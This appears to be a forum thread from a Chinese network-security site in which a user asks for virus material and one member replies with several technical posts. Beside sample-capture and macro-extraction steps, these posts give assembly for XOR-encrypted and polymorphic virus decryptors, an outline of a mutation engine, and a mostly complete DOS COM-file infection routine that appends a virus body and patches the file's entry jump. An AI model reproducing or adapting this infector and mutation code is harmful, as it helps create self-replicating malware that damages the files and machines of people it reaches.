|
作者: yuntian108 [yuntian108] 论坛用户 | 登录 |
如题,不胜感激! |
地主 发表时间: 08/11 11:40 |
回复: jackcheng [jackcheng] 论坛用户 | 登录 |
很多地方都有........ |
B1层 发表时间: 08/11 13:36 |
回复: 286 [unique] 版主 | 登录 |
你有耐心看吗? |
B2层 发表时间: 08/15 13:21 |
回复: tommy_he [tommy_he] 版主 | 登录 |
找他好象都没有耐性了!我估计没有耐性看了! |
B3层 发表时间: 08/15 14:34 |
回复: chinared [chinared] 论坛用户 | 登录 |
1.拿一张干净启动软盘A(如果你还能弄到的话),再搞一个小.com和一个小.exe放在上面. 下面称它们为b1.com和b2.exe.有的病毒会判文件大小...可自己编一个原码文件..在编译...(可用空白码e.g. nop (Masm) and so so)调整它们的个数即可! 2.diskcopy A->另一张软盘B. 1 & 2 都是在一台干净机上完成. 3.拿B 到你的染毒机器上用: 把那b1.com 和b2.exe copy-> 硬盘, rename-> b1.v_c 和 b2.v_e, 把B的引导区 存入文件b3.v_b.把它们(b1.v_c, b2.v_e, b3.v_b)upload上来就行了.最好把A盘的b1.com,b2.exe和引导区也upload, 以供对照. 4.如果是慢性病毒,可能需要多重复几次才行.还可以在b1.asm中插入若干条 nop ,来增大b1.com b1.exe 文件的长度. if是系统类的病毒,then 用一干净的盘(diskettes)放进driver 一读就ok!but without any write-protected! use debug... -l100 0 0 1 -na:virus -rcx 200 -w -q ok. |
B4层 发表时间: 08/15 17:31 |
回复: chinared [chinared] 论坛用户 | 登录 |
为了了解宏病毒,就必须读它的原代码,可是有时候宏是加密的,(Execute-only Macro), 1。 重命名Normal.dot。起动word。 // 防止word启动时就带上了宏病毒 2。 新建一个宏,专门用于读带毒文件中的宏代码(只是原理) Sub Main DisableAutoMacros //很关键,防止引入宏病毒 Dim D As FileOpen GetCurValue D Diolog D FileOpen D //这一段用于打开带毒文件 MacroCopy D.Name+":"+"CAP", "sourceCAP",0 MacroCopy D.Name+":"+"AutoOpen", "notAuotOpen",0 ... //以CAP宏病毒为例,将宏代码拷贝到normal.dot //其中参数0表示可编辑,非0表示加密 FileClose 2 Sub End 3。 运行上面的宏,将宏代码拷贝到normal.dot //注意要改变宏的名字 4。 阅读宏代码 5。 关闭word,恢复原来的 normal.dot。 |
B5层 发表时间: 08/17 11:36 |
回复: chinared [chinared] 论坛用户 | 登录 |
病毒由无加密到简单加密发展到变形病毒.早期的简单加密病毒工作范例如下: @entry: call @1 @1: pop bp lea di,[bp+@3-@1] @2: xor byte ptr cs:[di],0 @key = $-1 inc di loop @2 @3: ... ;病毒的主要代码 @4: ;这里假设,es:di指向用于储存加密后代码的缓冲区 mov cx,@end-@entry lea si,[bp+@entry-@1] push ds push cs pop ds in al,41h mov byte ptr [@key],al ;可将由41h端口读入的timer作为key rep movsb lea si,[di+@3-entry] mov cx,@end-entry @5: xor byte ptr es:[si],al inc si loop @5 ... @end: 用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点. 看看以下这个稍作修改的例子: @entry: call @1 @1: mov ax,12h pop bp sub ax,cx lea di,[bp+@3-@1] @2: add ax,bx xor bype ptr cs:[di],0 @key =$-1 jnz $+2 inc di mov ax,[12h] loop @2 @3: ... 它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的. 选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容; 3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.一个由普通病毒改为变形病毒的例子如下: VirusEntry: ... infect: .286c push offset VirusEntry push offset buffer call Encrypt ;encrypt virus to buffer ... ;merge buffer to executable file Encrypt proc near decrypt:db sizeof(call $+5),rawcode(call $+5) ;定义如下, db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度 ;代码的机器码 ... db 0 ;repeat ;generate junk code and write buffer ;wirte one decrypt code to buffer ;untile all decrypt code has been written ;encrypt virus and wirte buffer ret endp 一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. Win32中将病毒分为三块: startup code:得到API入口地址,搜索未感染文件,并调用infect code进行感染。读出已感染文件的病毒体,并调用evolution codeinfect code:感染文件 evolotion code:随机读入病毒体中的某一块,并用于替代本病毒的相应模块。 定义以下的结构用于evolution code startuprva dd ? ;startup相对病毒开始位置的偏移 startuplen dd ? ;startup的长度 infectrva dd ? infectlen dd ? evolutionrva dd ? evolutionlen dd ? 由于要进行交换,病毒没有加密。只要遵循一定的规则编写一系列的evolution病毒,它将在感染过程中不断地改变。 |
B6层 发表时间: 08/18 10:47 |
回复: chinared [chinared] 论坛用户 | 登录 |
COM文件是纯粹代码映象,加载后在内存中的映象如下: CS=DS=ES=SS CS:0000->+----------+ | PSP | IP(0100)->+----------+ | COM FILE | SP(FFFE)->+----------+ | dw 0000 | +----------+ 因此COM文件的最大SIZE为 64K-100h bytes - 1 word 感染COM的典型做法如下: cs:0100 jmp endoffile ;db 0e9h ;dw size of com file ... endoffile: virusstart: virus code mov ax,orgcode mov [100],ax mov al,[orgcode+2] mov [102],al virussize=$-virusstart resume: jmp 100 ;db 0e9h ;dw -(sizeofcom+virussize) orgcode db 3 dup (?) ;由原文件由0100开始的三个字节 感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE. 将resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾. (是不是很简单^_^). 完整的感染代码还需要有已感染的判断,和文件大小的判断.如下: 假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改: 保存开始的四个字节用 db 90h,0E9h dw sizeofcom 替换,以0E990h为感染标记 ... mov ax,3d01h int 21h ;open for r/w jc OpenError push dx xchg ax,bx mov ax,4202h xor cx,cx xor dx,dx int 21h ;seek to end or dx,dx jnz complete ;file larger than 64k,donot infect cmp ax,0FEEEh-VirusSize-11 jnb complete ;com file too large for infect cmp ax,4 jb complete ;file less than 4 bytes,donot infected mov di,offset orgcode mov [di+6],ax add [di+6],VirusSize ;generate code to replace mov ax,4200h xor cx,cx xor dx,dx int 21h ;seek to begin mov cx,4 mov dx,di mov ah,3fh int 21h ;read 4 bytes jc complete cmp word ptr [di],0E990h ;if has been infected,should be ;nop ;jmp XXXX jz complete mov cx,4 add dx,cx mov ah,40h int 21h ;write 4 byte to the beginning mov ax,4202h xor cx,cx xor dx,dx int 21h ;seek to end mov ah,40h mov dx,VirusStart mov cx,VirusSize+11 int 21h ;write Virus Code to COM complete: mov ah,3fh int 21h ;close file ErrorOpen: ... |
B7层 发表时间: 08/18 12:51 |
回复: yuntian108 [yuntian108] 论坛用户 | 登录 |
对不起,我有事几天没上网。斑竹,能告诉我哪儿有吗? |
B8层 发表时间: 08/19 11:12 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号